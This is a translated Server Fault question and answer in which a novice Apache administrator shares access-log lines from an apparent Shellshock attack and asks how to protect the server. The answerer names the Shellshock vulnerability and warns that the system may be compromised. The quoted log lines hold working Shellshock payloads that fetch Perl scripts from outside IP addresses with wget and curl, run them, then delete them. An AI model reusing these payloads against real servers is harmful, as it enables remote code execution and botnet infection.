Apache-2.2

使用 cgi 腳本入侵我的 apache

  • April 9, 2015

我是網路程式的新手,所以我為我的練習設置了一個 apache2 伺服器。

似乎有人成功破解了我的 apache 伺服器。我在 access.log 中註意到以下行:

81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"

還有這個:

80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"

看來他們已經成功破解了,根據 HTTP-200,意味著請求被批准。

當我嘗試“跟踪”請求中的命令時(通過手動執行每個命令):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

我可以看到我成功下載了文件“bot.txt”。當我打開“bot.txt”文件並看到它是一個 perl 腳本時。我不是 perl 僧侶,但我可以看到它“分叉”了其他程序,每個程序都試圖打開其他伺服器的埠。還看到程式碼中的一個函式嘗試在我的站中搜尋開放埠。

我的問題:

  • 有人知道這個問題嗎?
  • 如何配置我的 apache2.conf 以防止此類黑客攻擊?

謝謝

攻擊者試圖利用Bash Shellshock漏洞。您可以通過幾個簡單的命令行測試(它們本身無害)來驗證您是否容易受到攻擊,已經在另一個 SF 文章中介紹過:

您的日誌顯示它們返回了 200 個 HTTP 狀態程式碼,表明 Apache 服務這兩個請求沒有錯誤。要麼失敗,contact.cgi要麼cgi_wrapper我希望 Apache 返回一個 500(內部伺服器錯誤)狀態程式碼。這表明這兩個腳本至少都嘗試了 Shellshock 漏洞利用。

如果您能夠確定您的系統上存在易受攻擊的 Bash 版本,那麼我認為很可能確實在您的系統上下載並執行了ou.pl和腳本。bot.pl鑑於此,您不應該對系統的完整性做出任何假設,因為在最初的闖入後真的無法知道可能已經做了什麼。你如何處理這個問題你必須自己決定,但在這個 SF question 中有一些很好的建議:

引用自:https://serverfault.com/questions/661672